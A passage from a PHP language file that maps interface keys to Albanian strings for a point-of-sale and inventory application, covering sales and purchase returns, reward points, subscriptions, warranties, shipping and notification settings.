celularit', 'send' => 'Send', 'notification_sent_successfully' => 'Njoftimi u dërgua me sukses', 'payment_received_notification' => 'Dërgo Njoftimin e Marrjes së Pagesës', 'send_payment_reminder' => 'Dërgo Remider Pagesa', 'new_order_notification' => 'Njoftimi i Rendit të Ri', 'item_received_notification' => 'Artikujt e marrë njoftimin', 'item_pending_notification' => 'Artikujt në pritje të njoftimit', 'payment_paid_notification' => 'Njoftimi me Pagesë Pagesash', 'mail_host' => 'Mikpritës', 'mail_port' => 'Port', 'mail_username' => 'Emri i përdoruesit', 'mail_password' => 'Password', 'mail_encryption' => 'Encryption', 'mail_from_address' => 'Nga Adresa', 'mail_from_name' => 'Nga emri', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Cilësimet e Email', 'sms_settings' => 'Cilësimet e SMS', 'send_to_param_name' => 'Dërgo tek emri i parametrit', 'msg_param_name' => 'Emri i parametrit të mesazhit', 'sms_settings_param_key' => 'Parametri: çelësi i numrit', 'sms_settings_param_val' => 'Parametri: vlera e numrit', 'sending' => 'Dërgimi', 'request_method' => 'Metoda e Kërkesës', 'purchase_return' => 'Blerje Kthim', 'return_quantity' => 'Sasia e kthimit', 'return_subtotal' => 'Nëntotali i kthimit', 'quantity_left' => 'Sasia e majtë', 'return_total' => 'Kthimi Gjithsej', 'total_return_tax' => 'Tatimi total i kthimit', 'purchase_return_added_success' => 'Kthimi i blerjeve është shtuar me sukses', 'list_purchase_return' => 'Rendisni Kthimin e Blerjeve', 'all_purchase_returns' => 'Të gjitha kthimet e blerjes', 'parent_purchase' => 'Blerja e Prindit', 'purchase_return_details' => 'Blerje Detajet e Kthimit', 'return_date' => 'Data e kthimit', 'parent_sale' => 'Shitja e Prindërve', 'sell_quantity' => 'Sasia Shitet', 'total_return_discount' => 'Zbritje Totale Kthimi', 'sell_return_details' => 'Shitni Detajet e Kthimit', 'sell_details' => 'Detajet e shitjes', 'return_discount' => 'Zbritja e Kthimit', 'total_unit_transfered' => 'Njësia totale e transferuar', 'total_unit_adjusted' => 'Njësia totale e rregulluar', 'return_exist' => 'Kthimi ekziston për Transaksionin, redakto kthimin në vend.', 'synced_from_woocommerce' => 'Sinkronizohej nga Woocommerce', 'available_stock_expired' => 'OSE gjendja e disponueshme ka skaduar.', 'sell_payments' => 'Leja për të shtuar / ndryshuar / fshirë pagesat në listën e shitjeve / listës POS.', 'purchase_payments' => 'Leje për të shtuar / ndryshuar / fshirë pagesat në Blerjet e Listës', 'sell.payments' => 'Shto / Ndrysho / Fshi Pagesat', 'purchase.payments' => 'Shto / Ndrysho / Fshi Pagesat', 'view_payment' => 'Shiko Pages', 'card_number' => 'Numri i kartes', 'transaction_number' => 'Numri i Transaksionit', 'card_holder_name' => 'Emri i Mbajtesittekartes', 'card_transaction_number' => 'Transaksioni me kartelë Jo', 'cheque_number' => 'Kontrollo numrin', 'commsn_percent_help' => 'Përdoret vetëm nëse vendosja e llojit të agjentit të komisionit të shitjes është: Përdoruesi i regjistruar ose Zgjidh nga lista e përdoruesve', 'max_amount_to_be_paid_is' => 'Shuma maksimale që duhet paguar është: shuma', 'adjusted_for' => 'Përshtatur për', 'some_qty_returned' => 'Disa sasi janë kthyer nga ky blerje', 'total_purchase_return' => 'Gjithsej Kthimi i Blerjeve', 'total_purchase_return_paid' => 'Shuma totale e kthimit të paguar', 'total_purchase_return_inc_tax' => 'Totali i Kthimit të Blerjes duke përfshirë Tatimin', 'purchase_sell_report_formula' => 'Në përgjithësi (Shitja - Shitja e Kthimit - Blerja - Kthimi i Blerjes)', 'purchase_return_due' => 'Blerje kthimin e duhur', 'total_purchase_return_due' => 'Shuma totale e kthimit të blerjes', 'receive_purchase_return_due' => 'Marrja e Kthimit të Blerjes', 'some_qty_returned_from_sell' => 'Disa sasi janë kthyer nga kjo shitje', 'sell_due' => 'Shitet për shkak', 'sell_return_due' => 'Shes kthimin e duhur', 'total_sell_return_due' => 'Gjithsej shitet kthimin e duhur', 'pay_sell_return_due' => 'Shitet paguaj kthimin e duhur', 'total_sell_return' => 'Gjithsej Shitet Kthim', 'total_sell_return_paid' => 'Gjithsej Shitet Kthim Paguar', 'total_sell_return_inc_tax' => 'Totali Shitet Kthimi duke përfshirë Tatimin', 'tooltip_columnize_taxes_heading' => 'Për emrat e taksave CGST@8% ose CGST@10%; SGST@10% ose SGST@8% etj ', 'sales_payment_dues' => 'Pagesa e shitjes për shkak', 'purchase_payment_dues' => 'Blerja e Pagesës së Huazuar', 'tooltip_sales_payment_dues' => "Në pritje të pagesës për shitje. <br/> <small class='text-muted'> Bazuar në afatin e pagesës së faturës. <br/> Duke shfaqur pagesat që do të pranohen për 7 ditë ose më pak. </small>", 'edit_product_price_from_sale_screen' => 'Ndrysho çmimin e produktit nga ekrani i shitjes', 'edit_product_discount_from_sale_screen' => 'Ndrysho zbritjen e produktit nga ekrani Shitje', 'autosend_email' => 'Auto Dërgo Email', 'autosend_sms' => 'Auto Dërgo SMS', 'enable_selected_contacts' => 'Kufizo kontaktet e zgjedhura', 'tooltip_enable_selected_contacts' => 'Kufizo qasjen në kontaktet e zgjedhura në shitjen / blerjen e kutisë së kërkimit të klientit / furnizuesit', 'selected_contacts' => 'Zgjidh Kontaktet', 'view_role' => 'Shikoni rolin', 'delete_role' => 'Fshi rolin', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'Çaktivizo shitjen e pezullimit', 'suspend' => 'Suspend', 'suspend_note' => 'Suspend Shënim', 'suspend_sale' => 'Suspend Sale', 'view_suspended_sales' => 'Shikoni shitjet e pezulluara', 'suspended_sales' => 'Shitjet e pezulluara', 'view_suspended_sales' => 'Shikoni shitjet e pezulluara', 'suspended_sales' => 'Shitjet e pezulluara', 'tooltip_suspend' => 'Suspend Sales (pause)', 'business_telephone' => 'Numri i kontaktit të biznesit', 'accept_terms_and_conditions' => 'Prano Termat dhe Kushtet', 'terms_conditions' => 'Termat dhe Kushtet', 'product_description' => 'Përshkrim i produktit', 'click_here' => 'Kliko këtu', 'for_more_info' => 'për më shumë informacion', 'username_help' => 'Lëreni bosh për të gjeneruar automatikisht emrin e përdoruesit', 'status_for_user' => 'A është aktive?', 'tooltip_enable_user_active' => 'Check / Uncheck për ta bërë një përdorues aktiv / joaktiv', 'user_inactive' => 'Na vjen keq, llogaria është joaktive', 'calculator' => 'Calculator', 'fields_for_customer_details' => 'Fushat për detajet e klientit', 'show_previous_bal_due' => 'Trego bilancin total të duhur (Të gjitha shitjet)', 'previous_bal_due_help' => 'Kontrolloni këtë fushë për të treguar shumën e detyrimeve të bilancit për të gjitha shitjet e konsumatorit nëse ekziston', 'all_sales' => 'Të gjitha shitjet', 'current_sale' => 'Shitja aktuale', 'view_invoice_url' => 'Shiko URL-në e faturës', 'copy' => 'Copy', 'extra_tags' => 'Etiketat shtesë', 'date_time_format' => 'Formati i kohës së datës', 'all' => 'Të gjithë', 'date_time_format_help' => "Shkruani formatin e datës dhe orës në <a target='_blank' href='http://php.net/manual/en/function.date.php'>Formati datetime PHP</a>. Nëse formati bosh i datës së afarizmit do të aplikohet", 'detailed' => 'Detajuar', 'grouped' => 'Grupuar (Sipas Dates)', 'disable_recurring_invoice' => 'Çaktivizo faturën e përsëritur', 'is_recurring' => 'A është e përsëritur', 'recurring_invoice_help' => 'Nëse abonuar kjo faturë do të gjenerohet automatikisht në intervale të rregullta. <br> Mund ta çaktivizoni këtë funksion në <code> Settings > Business Settings > Modules </code>', 'recurring_invoice' => 'Faturë e përsëritur', 'years' => 'Vite', 'no_of_repetitions' => 'Numri i përsëritjeve', 'recur_repetition_help' => 'Nëse fatura bosh do të gjenerohet herë të pafundme', 'recurring_invoice_message' => 'Fatura e re e gjeneruar për abonim nr .: <i>:subscription_no</i>, fatura nr .: <i>:invoice_no </i>', 'notifcation_count_msg' => 'Ju :count numërimin e njoftimeve', 'no_notifications_found' => 'Nuk u gjetën njoftime', 'edit_multi_unit_help_text' => 'Redaktimi i kësaj vlere do të ndryshojë stoqet e blerjes dhe shitjes në përputhje me rrethanat', 'sale_price_is_minimum_sale_price' => 'Çmimi i shitjes është çmimi minimal i shitjes', 'minimum_sale_price_help' => 'Nëse kjo është e aktivizuar, në shitjen e POS ose Shitjes çmimi i shitjes së parazgjedhur do të jetë çmimi minimal i shitjes për produktin.Nuk mund ta caktoni çmimin nën çmimin e shitjes së parazgjedhur.', 'minimum_selling_price_error_msg' => 'Çmimi minimal i shitjes është :price', 'lot_numbers_are_used_in_sale' => 'Nuk mund të fshihet, Disa pjesë nga kjo blerje tashmë janë shitur', 'created_at' => 'Krijuar në', 'download' => 'Shkarko', 'previous_file_will_be_replaced' => 'Dosja e ngarkuar më parë do të zëvendësohet', 'access_accounts' => 'Llogaritë e qasjes', 'payment_accounts' => 'Llogaritë e Pagesave', 'total_shipping_charges' => 'Ngarkesat Totale të Transportit', 'recurring_invoice_error_message' => 'E pamundur për të krijuar faturë për Abonimin nr .: <i>:subscription_no </i> .Një stok i nevojshëm për produktin <i>:product_name</i>', 'load_more' => 'Load More', 'cash_flow' => 'Cash Flow', 'subscribe' => 'Subscribe', 'subscription_interval' => 'Abonimi Interval', 'enable_subscription' => 'Aktivizo abonimin', 'subscription_no' => 'Abonimi Nr.', 'start_subscription' => 'Filloni abonim', 'stop_subscription' => 'Ndalo abonimin', 'subscriptions' => 'Abonimet', 'generated_invoices' => 'Faturat e gjeneruara', 'last_generated' => 'Gjenerimi i fundit', 'upcoming_invoice' => 'Fatura e ardhshme', 'total_sales_return' => 'Kthimi total i shitjeve', 'subscription_invoice' => 'Fatura e abonimit', 'subscribed_invoice' => 'Fatura e abonuar', 'view_document' => 'Shiko Dokumentin', 'invoice_url_help' => 'Lidhu për të parë faturën pa hyrje.', 'unit_cannot_be_deleted' => 'Produktet ekzistojnë me këtë njësi, nuk mund të fshihen', 'expiry_date_in_business_date_format' => 'Data e skadimit të stoqeve në <b> Formati i datës së biznesit </b>', 'product_stock_details' => 'Detajet e produktit të produktit', 'search' => 'Kërko', 'total_sold' => 'Total Shitur', 'total_stock_available' => 'Totali i aksioneve në dispozicion', 'total_stock_transfered_to_the_location' => 'Totali i aksioneve të transferuara në lokacion', 'total_stock_transfered_from_the_location' => 'Shuma totale e transferuar nga lokacioni', 'total_stock_calculated' => 'Totali i stokut të llogaritur', 'adjust_stock_mismatch' => 'Rregullo mospërputhjen e stoqeve', 'opening_balance_payments' => 'Pagesat e hapjes së bilancit', 'enable_service_staff_in_product_line' => 'Aktivizo stafin e shërbimit në linjë produktesh', 'inline_service_staff_tooltip' => 'Nëse mundësohet shtabet e ndryshme të shërbimit mund të caktohen për produkte të ndryshme për një porosi / shitje', 'line_orders' => 'Urdhërat e linjës', 'total_tax' => 'Tatimi Gjithsej', 'total_discount' => 'Zbritje Totale', 'net_price' => 'Çmimi Net', 'select_same_for_all_rows' => 'Zgjidh të njëjtën vlerë për të gjitha produktet', 'edited' => 'Edited', 'by' => 'Duke', 'upload_documents' => 'Ngarkoni dokumentet', 'documents' => 'Dokumentet', 'click_to_print' => 'Kliko për të printuar', 'deactivated_success' => 'Çaktivizohet me sukses', 'products_could_not_be_deleted' => 'Disa produkte nuk mund të fshihen, sepse ka transaksione që lidhen me të.', 'price' => 'Çmimi', 'auto_backup_instruction' => 'Për të aktivizuar backup-in automatik dhe pastrimin e backup-it duhet të konfiguroni një detyrë cron me këtë komandë', 'gross_profit' => 'Fitimi Bruto', 'single' => 'Single', 'variable' => 'Variable', 'total_purchase_price' => 'Pricemimi total i blerjes', 'total_sell_price' => 'Pricemimi total i shitjes', 'packing_slip' => 'Paketimi Slip', 'use_superadmin_email_settings' => 'Përdorni konfigurimin e postës elektronike të sistemit', 'profit_by_products' => 'Fitimi nga produktet', 'profit_by_categories' => 'Fitimi sipas kategorive', 'profit_by_brands' => 'Fitimi nga markat', 'profit_by_locations' => 'Fitimi sipas vendeve', 'profit_by_invoice' => 'Fitimi me faturë', 'profit_by_date' => 'Fitimi sipas datës', 'uncategorized' => 'Uncategorized', 'add_purchase_return' => 'Shto Kthimin e Blerjes', 'edit_purchase_return' => 'Ndryshoni kthimin e blerjes', 'purchase_return_updated_success' => 'Kthimi i blerjes azhurnohet me sukses', 'profit_by_customer' => 'Fitimi nga klienti', 'profit_by_day' => 'Fitimi nga dita', 'sunday' => 'E diela', 'monday' => 'E hënë', 'tuesday' => 'E martë', 'wednesday' => 'E mërkurë', 'thursday' => 'E enjte', 'friday' => 'E premte', 'saturday' => 'E shtunë', 'show_product_image' => 'Trego imazhin e produktit', 'view_user' => 'Shiko përdoruesin', 'allow_selected_contacts' => 'Lejo kontaktet e zgjedhura', 'allow_selected_contacts_tooltip' => 'Vetëm lejo qasje në kontaktet e zgjedhura në kutinë e kërkimit të blerjeve / blerësve të klientëve / furnizuesve', 'allowed_contacts' => 'Kontaktet e lejuara', 'view_purchase_price' => 'Shiko çmimin e blerjes', 'view_purchase_price_tooltip' => 'Leja për të parë çmimin e blerjes në detajet e produktit, transferimin e stokut dhe rregullimin e stokut', 'created' => 'Krijuar', 'updated' => 'Përditësuar', 'deleted' => 'Deleted', 'day' => 'Dita', 'is_service_staff_required' => 'A kërkohet personeli i shërbimit', 'items_report' => 'Raporti i Artikujve', 'purchase_price' => 'Çmimi i blerjes', 'sell_date' => 'Shitet data', 'returned' => 'U kthye', 'dob' => 'Data e lindjes', 'married' => 'Married', 'unmarried' => 'Pamartuar', 'marital_status' => 'Statusi martesor', 'blood_group' => 'Grupi i gjakut', 'divorced' => 'Divorcuar', 'contact_no' => 'Numri i kontaktit', 'fb_link' => 'Link Link', 'twitter_link' => 'Link Twitter', 'social_media' => 'Media sociale :number', 'permanent_address' => 'Adresa e perhershme', 'current_address' => 'Adresa e tanishme', 'guardian_name' => 'Emri i Kujdestarit', 'custom_field' => 'Fusha e personalizuar :number', 'bank_details' => 'Te dhenat e Bankes', 'account_holder_name' => 'Emri i mbajtësit të llogarisë', 'account_number' => 'Numri i llogarisë', 'bank_name' => 'Emri i bankes', 'bank_code' => 'Kodi i Identifikimit të Bankës', 'bank_code_help' => 'Një kod unik për të identifikuar bankën në vendin tuaj, për shembull: Kodi IFSC', 'branch' => 'Dega', 'tax_payer_id' => 'ID e paguesit të taksave', 'tax_payer_id_help' => 'ID e numrit të taksave të punonjësit, për shembull, kartën PAN në Indi', 'more_info' => 'Më shumë informata', 'id_proof_name' => 'Emri i provës së identitetit', 'id_proof_number' => 'Numri i provës së identitetit', 'view_own_sell_only' => 'Shiko vetëm shitjen e vet', 'reward_point_settings' => 'Cilësimet e pikës së shpërblimit', 'enable_rp' => 'Aktivizo pikën e shpërblimit', 'rp_name' => 'Emri i Shfaqjes së Pikës së Shpërblimit', 'amount_for_unit_rp' => 'Shuma e shpenzimeve për pikë njësi', 'min_order_total_for_rp' => 'Totali i porosisë minimale për të fituar shpërblim', 'max_rp_per_order' => 'Pika maksimale për porosinë', 'earning_points_setting' => 'Parametrat e fitimit të pikave', 'redeem_points_setting' => 'Shlyerni cilësimet e pikave', 'redeem_amount_per_unit_rp' => 'Shlyer shumën për pikë njësi', 'min_order_total_for_redeem' => 'Totali i porosisë minimale për të riblerur pikat', 'min_redeem_point' => 'Pika minimale e riblerjes', 'max_redeem_point' => 'Pika maksimale e riblerjes për porosinë', 'rp_expiry_period' => 'Periudha e skadimit të pikës së shpërblimit', 'redeemed_amount' => 'Shuma e Shlyerur', 'max_points_used' => 'Maksimumi :points e pikëve mund të përdoren', 'reward_points' => 'Pikë shpërblimi', 'max_reward_point_available' => 'Maksimumi :name i disponueshëm', 'min_reward_points_used' => 'Minimumi :name mund të përdoret', 'redeemed' => 'Redeemed', 'available' => 'Në dispozicion', 'earned' => 'Fituara', 'total_reward_amount' => 'Shpërblimi i përgjithshëm i klientit', 'ledger' => 'Ledger', 'type' => 'Type', 'show_payments' => 'Trego Pagesat', 'variation_images' => 'Imazhe të Variacionit', 'file_deleted_successfully' => 'Skedari u fshi me sukses', 'combo' => 'Combo', 'not_for_selling' => 'Jo për shitje', 'tooltip_not_for_selling' => 'Nëse kontrollohet, produkti nuk do të shfaqet në ekranin e shitjeve për qëllime shitjeje.', 'show_reward_point' => 'Trego pikën e shpërblimit', 'enable_booking' => 'Aktivizo rezervimet', 'bulk_edit' => 'Redaktimi Bulk', 'bulk_edit_products' => 'Produkte të mëdha për të redaktuar', 'search_product_to_edit' => 'Kërkoni produktin për të modifikuar', 'related_sub_units' => 'Nënsektorët e Lidhur', 'sub_units_tooltip' => 'Bazuar në njësinë e zgjedhur, do të tregojë nën njësi për të. Zgjidhni nën-njësinë e zbatueshme. Lini bosh nëse të gjitha nën-njësitë janë të aplikueshme për produktin.', 'enable_sub_units' => 'Aktivizo nën njësitë', 'added_on' => 'Shtuar në', 'quantity_mismatch_exception' => 'SHKURTIMI: NUK LEJOHET: Mos pajtimi midis sasisë së shitur dhe të disponueshme. Produkti: :product', 'roles_and_permissions' => 'Rolet dhe lejet', 'admin_role_location_permission_help' => 'Administratori mund të hyjë në të gjitha vendet', 'edit_product_price_from_pos_screen' => 'Ndryshoni çmimin e produktit nga ekrani POS', 'edit_product_discount_from_pos_screen' => 'Redaktoni zbritjen e produktit nga ekrani POS', 'download_template_file' => 'Shkarkoni skedarin shabllon', 'types_of_service' => 'Llojet e shërbimit', 'add_type_of_service' => 'Shto llojin e shërbimit', 'packing_charge_type' => 'Lloji i Tarifës së Paketimit', 'packing_charge' => 'Tarifa e paketimit', 'enable_custom_fields' => 'Aktivizo fushat e personalizuara', 'edit_type_of_service' => 'Redakto llojin e shërbimit', 'types_of_service_help' => 'Lloji i shërbimit nënkupton shërbime të tilla si darka, parcela, shpërndarja në shtëpi, ofrimi i palës së tretë etj.', 'select_types_of_service' => 'Zgjidhni llojet e shërbimit', 'service_custom_field_1' => 'Fusha e personalizuar 1', 'service_custom_field_2' => 'Fusha e personalizuar 2', 'service_custom_field_3' => 'Fusha e personalizuar 3', 'service_custom_field_4' => 'Fusha e personalizuar 4', 'default_selling_price_group' => 'Grupi i Çmimeve të Paracaktuara të Shitjes', 'location_price_group_help' => 'Ky grup çmimesh do të përdoret si grupi i paracaktuar i çmimeve në këtë vendndodhje.', 'default_accounts' => 'Llogaria e paracaktuar', 'product_location_help' => 'Vendndodhjet ku produkti do të jetë i disponueshëm.', 'available_in_locations' => 'Në dispozicion në vendndodhje', 'enable' => 'Aktivizo', 'payment_options' => 'Mundësitë e Pagesës', 'pay_reference_no' => 'Paguani referencën nr.', 'search_settings' => 'Cilësimet e kërkimit', 'custom_labels' => 'Etiketa Custom', 'labels_for_custom_payments' => 'Etiketa për pagesa me porosi', 'packed' => 'Paketuar', 'shipped' => 'Dërguar', 'delivered' => 'Dorëzuar', 'shipping_address' => 'Adresa e Transportit', 'shipping_status' => 'Statusi i Transportit', 'delivered_to' => 'Dorëzohet në', 'edit_shipping' => 'Redakto Transportin', 'shipments' => 'Dërgesat', 'access_shipping' => 'Transporti i Hyrjes', 'uploaded_by' => 'Ngarkuar nga', 'account_types' => 'Llojet e llogarisë', 'add_account_type' => 'Shtoni llojin e llogarisë', 'parent_account_type' => 'Lloji i llogarisë prindërore', 'edit_account_type' => 'Redaktoni llojin e llogarisë', 'account_type' => 'Lloji i Llogarisë', 'account_sub_type' => 'Lloji i llogarisë', 'enable_updating_product_price_tooltip' => 'Nëse aktivizohet çmimi i blerjes së produktit dhe çmimi i shitjes do të azhurnohet pasi një blerje të shtohet ose azhurnohet', 'default_datatable_page_entries' => 'Regjistrimet e paracaktuara të faqeve të databazës', 'product_not_found_exception' => 'Produkti me SKU :sku nuk gjendet në rresht :row', 'price_group_not_found_exception' => 'Grupi i Pricemimeve me emrin :pg nuk u gjet në rresht :row', 'price_group_non_numeric_exception' => 'Pricemimi jo numerik i gjetur në rresht :row', 'total_stock_price' => 'Vlera aktuale e aksioneve', 'test_email_configuration' => 'Dërgoni email provë', 'email_tested_successfully' => 'Konfigurimet e postave elektronike janë verifikuar me sukses', 'test_number' => 'Numri i Testit', 'test_sms_configuration' => 'Dërgoni SMS provë', 'test_number_is_required' => 'Kërkohet numri i provës', 'import_contact_type_ins' => 'Opsionet e disponueshme: <strong> <br> 1 = Konsumatori, <br> 2 = Furnizuesi <br> 3 = Të dy </strong>', 'enable_pos_transaction_date' => 'Aktivizo datën e transaksionit në ekranin POS', 'amount_for_unit_rp_tooltip' => '<strong> Do të thotë se sa ka shpenzuar klienti për të marrë një pikë shpërblimi. </ strong> <br> <br> <strong> Shembull: </strong> Nëse e vendosni si 10, atëherë për çdo 10 dollarë të shpenzuar nga klienti ata do të marrë një pikë shpërblimi. Nëse klienti blen për 1000 dollarë, atëherë ata do të marrin 100 pikë shpërblimi. ', 'max_rp_per_order_tooltip' => 'Pika maksimale e shpërblimit që klientët mund të fitojnë në një faturë. Lëreni bosh nëse nuk dëshironi ndonjë kufizim të tillë.', 'min_order_total_for_rp_tooltip' => '<strong> Shuma minimale që konsumatori duhet të shpenzojë për të marrë pikët e shpërblimit. </strong> <br> <br> <strong> Shembull: </strong> Nëse e vendosni si 100, atëherë klienti do të marrë pikë shpërblimi vetëm nëse ekziston totali i faturës është më i madh ose i barabartë me 100. Nëse totali i faturës është 99, atëherë ata nuk do të marrin asnjë pikë shpërblimi. <br> <br> Ju mund ta vendosni atë si minimumi 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Kjo tregon shumën e riblerjes për pikë. </ strong> <br> <br> <strong> Për shembull: </strong> Nëse 1 pikë është 1 $, atëherë vendosni vlerën si 1. Nëse 2 pikë është 1 $, atëherë shkruani vlerën si 0.50 ', 'min_order_total_for_redeem_tooltip' => 'Totali i porosisë minimale për të cilën klientët mund të shlyejnë pikat. Lëreni bosh nëse nuk keni nevojë për këtë kufizim ose duhet të jepni diçka falas.', 'min_redeem_point_tooltip' => 'Pikat minimale të riblerjes që mund të përdoren për faturë. Lëreni bosh nëse nuk keni nevojë për këtë kufizim.', 'max_redeem_point_tooltip' => 'Pikat maksimale që mund të përdoren me një qëllim. Lëreni bosh nëse nuk keni nevojë për këtë kufizim.', 'rp_expiry_period_tooltip' => '<strong> Afati i skadimit për pikët e fituara nga klienti. </strong> <br> <br> Ju mund ta vendosni atë në muaj ose vit. Pikat e skaduara do të zbriten nga llogaria e klientit automatikisht pas kësaj periudhe.', 'configure_product_search' => 'Konfiguro kërkimin e produktit', 'search_products_by' => 'Kërko produkte nga', 'credit_sales' => 'Shitjet e Kredisë', 'total_payment' => 'Pagesa totale', 'deactivate_location' => 'Actaktivizoni vendndodhjen', 'activate_location' => 'Aktivizo vendndodhjen', 'business_location_activated_successfully' => 'Vendndodhja e biznesit është aktivizuar me sukses', 'business_location_deactivated_successfully' => 'Vendndodhja e biznesit çaktivizohet me sukses', 'show_credit_sale_button' => 'Shfaq butonin e shitjes së kredisë', 'show_credit_sale_btn_help' => 'Nëse aktivizohet butoni i shitjes së kredisë në vend të butonit të Kartës në ekranin pos', 'credit_sale' => 'Shitje kredie', 'tooltip_credit_sale' => 'Pagesa si shitje e kredisë', 'add_as_sub_txonomy' => 'Shto si nën taksonomi', 'select_parent_taxonomy' => 'Zgjidhni taksonominë mëmë', 'warranty' => 'Garanci', 'warranties' => 'Garancitë', 'all_warranties' => 'Të gjitha Garancitë', 'add_warranty' => 'Shtoni garanci', 'duration' => 'Kohëzgjatja', 'edit_warranty' => 'Ndryshoni Garancinë', 'enable_product_warranty' => 'Aktivizoni garancinë', 'warranty_ends_on' => 'Garancia mbaron', 'restaurant_module_settings' => 'Cilësimet e modulit të restorantit', 'warranty_module_settings' => 'Cilësimet e modulit të garancisë', 'show_warranty_name' => 'Trego emrin e garancisë', 'show_warranty_exp_date' => 'Trego datën e skadimit të garancisë', 'show_warranty_description' => 'Trego përshkrimin e garancisë', 'gender' => 'Gjinia', 'male' => 'Mashkull', 'female' => 'Femër', 'others' => 'Të tjerët', 'recent_transactions' => 'Transaksionet e fundit', 'add_row' => 'Shto rresht', 'add_widget_here' => 'Shto një widget këtu', 'move_row' => 'Lëviz rreshtin', 'configure_dashboard' => 'Konfiguro panelin :name', 'change_return_label' => 'Ndrysho etiketën e kthimit', 'change_return_help' => "Ndryshimi i kthimit është shuma që duhet t'i kthehet klientit nëse bëhet pagesa e tepërt.", 'profile_photo' => 'Foto e Profilit', 'upload_image' => 'Ngarko imazhin', 'expense_tax' => 'Taksa e Shpenzimeve', 'expense_tax_tooltip' => 'Taksa totale e paguar ndaj shpenzimeve të biznesit për periudhën e zgjedhur kohore', 'tax_overall' => 'Në përgjithësi (Input - Output - Shpenzim)', 'overdue' => 'Vonuar', 'partial-overdue' => 'Pjesërisht e vonuar', 'due_date_label' => 'Etiketë për datën e duhur', 'show_due_date' => 'Trego datën e duhur', 'contact_custom_field1' => 'Fusha Custom 1', 'contact_custom_field2' => 'Fusha Custom 2', 'contact_custom_field3' => 'Fusha Custom 3', 'contact_custom_field4' => 'Fusha me porosi 4', 'added_by' => 'Shtuar nga', 'authorized_signatory' => 'Nënshkruesi i Autorizuar', 'no_location_access_found' => 'Nuk u gjet asnjë qasje në vendndodhje', 'location_custom_field1' => 'Fusha me porosi 1', 'location_custom_field2' => 'Fusha me porosi 2', 'location_custom_field3' => 'Fusha e personalizuar 3', 'location_custom_field4' => 'Fusha me porosi 4', 'user_custom_field1' => 'Fusha me porosi 1', 'user_custom_field2' => 'Fusha me porosi 2', 'user_custom_field3' => 'Fusha e personalizuar 3', 'user_custom_field4' => 'Fusha me porosi 4', 'logo_not_work_in_sms' => 'Logoja e biznesit nuk do të funksionojë në SMS', 'notification_email_tooltip' => 'Vargun e postave marrëse të ndara me presje', 'heading' => 'Kreu', 'updated_at' => 'Azhurnuar në', 'documents_and_notes' => 'Dokumente & Shënim', 'add_note' => 'Shtoni shënim', 'edit_note' => 'Ndrysho Shënimin', 'is_private' => 'A është private?', 'private' => 'Private', 'documents' => 'Dokumentet', 'note_will_be_visible_to_u_only' => 'Shënimi dhe dokumenti do të jenë të dukshëm vetëm për ju', 'activities' => 'Aktivitete', 'no_limit' => 'Pa kufi', 'contains_media' => 'Kjo shënim përmban media', 'private_note' => 'Kjo është shënim privat', 'amount_rounding_method' => 'Metoda e rrumbullakimit të shumave', 'round_to_nearest_whole_number' => 'Raundi në numrin e tërë më të afërt', 'round_to_nearest_decimal' => 'Raundi në dhjetorin më të afërt (shumëfish :multiple)', 'amount_rounding_method_help' => 'Shembull: <br> <b> Raundi deri në numrin e tërë më të afërt: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Raundi në dhjetorin më të afërt (shumëfishi i 0.05): </b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Round off', 'round_off_label' => 'Etiketa e rrumbullakët', 'total_sell_round_off' => 'Totali i shitjeve të rrumbullakëta', 'user_info' => 'Informacioni i përdoruesit', 'enable_weighing_scale' => 'Aktivizo peshën e peshimit', 'weighing_scale_setting' => 'Vendosja e peshimit të barkodit të shkallës', 'weighing_scale_setting_help' => 'Konfiguroni barkodin sipas shkallës tuaj të peshimit.', 'weighing_barcode_prefix' => 'Prefix', 'weighing_product_sku_length' => 'Gjatësia e produktit', 'weighing_qty_integer_part_length' => 'Gjatësia e pjesës së plotë të sasisë', 'weighing_qty_fractional_part_length' => 'Sasia e pjesës së pjesshme të pjesëve', 'weighing_scale' => 'Peshimi i peshimit', 'weighing_scale_barcode' => 'Peshimi barcode në shkallë', 'weighing_scale_barcode_help' => 'Skanoni barkodin nga pesha e shitjes dhe dorëzoni', 'prefix_did_not_match' => 'Parashtesa nuk përputhet', 'sku_not_match' => 'Asnjë produkt nuk u gjet me sku :sku', 'total_quantity_label' => 'Etiketë e sasisë totale', 'account_summary' => 'Përmbledhje e llogarisë', 'ledger_table_heading' => 'Paraqitni të gjitha faturat dhe pagesa midis :start_date dhe :end_date', 'beginning_balance' => 'Bilanci fillestar', 'total_invoice' => 'Faturë totale', 'balance_due' => 'Bilanci i duhur', 'send_ledger' => 'Dërgoni Ledger', 'notifications' => 'Njoftimet', 'ledger_attacment_help' => "Ledger do t'i bashkëngjitet formatit PDF me këtë email", 'upload_module' => 'Ngarko modulin', 'upload' => 'Ngarkoni', 'pls_upload_valid_zip_file' => 'Ju lutemi ngarkoni një skedar të vlefshëm zip.', 'import_sales' => 'Shitje Importi', 'preview_imported_sales' => 'Paraprakisht Shitjet e Importuara', 'customer_phone_number' => 'Numri i telefonit të klientit', 'customer_email' => 'Email i klientit', 'item_tax' => 'Taksa e artikullit', 'item_discount' => 'Zbritja e artikullit', 'item_description' => 'Përshkrimi i artikullit', 'order_total' => 'Totali i porosisë', 'upload_and_review' => 'Ngarko dhe shqyrto', 'group_sale_line_by' => 'Grupi shes linjë me', 'import_sale_product_not_found' => 'Produkti me emrin :product_name ose sku :sku nuk gjendet në rresht :row', 'import_sale_tax_not_found' => 'Taksa me emrin :tax_name nuk u gjet në rresht :row', 'email_or_phone_required' => 'Kërkohet telefon ose email i klientit', 'product_name_or_sku_is_required' => 'Kërkohet emri i produktit ose SKU', 'quantity_is_required' => 'Kërkohet sasi', 'unit_price_is_required' => 'Kërkohet çmimi i njësisë', 'sales_imported_successfully' => 'Shitjet e importuara me sukses', 'upload_data_in_excel_format' => 'Ngarko të dhënat e shitjeve në formatin excel', 'map_columns_with_respective_sales_fields' => 'Zgjidhni fushat përkatëse të shitjeve për secilën kolonë', 'choose_location_and_group_by' => 'Zgjidhni vendndodhjen e biznesit dhe kolonën me të cilën linjat e shitjes do të grupohen', 'date_format_instruction' => "Formati i kohës së shitjes duhet të jetë 'Y-m-d H:i:s' (2020-07-15 17:45:32)", 'product_name_single_only' => 'Emri i produktit (Vetëm produkte të vetme ose të kombinuara)', 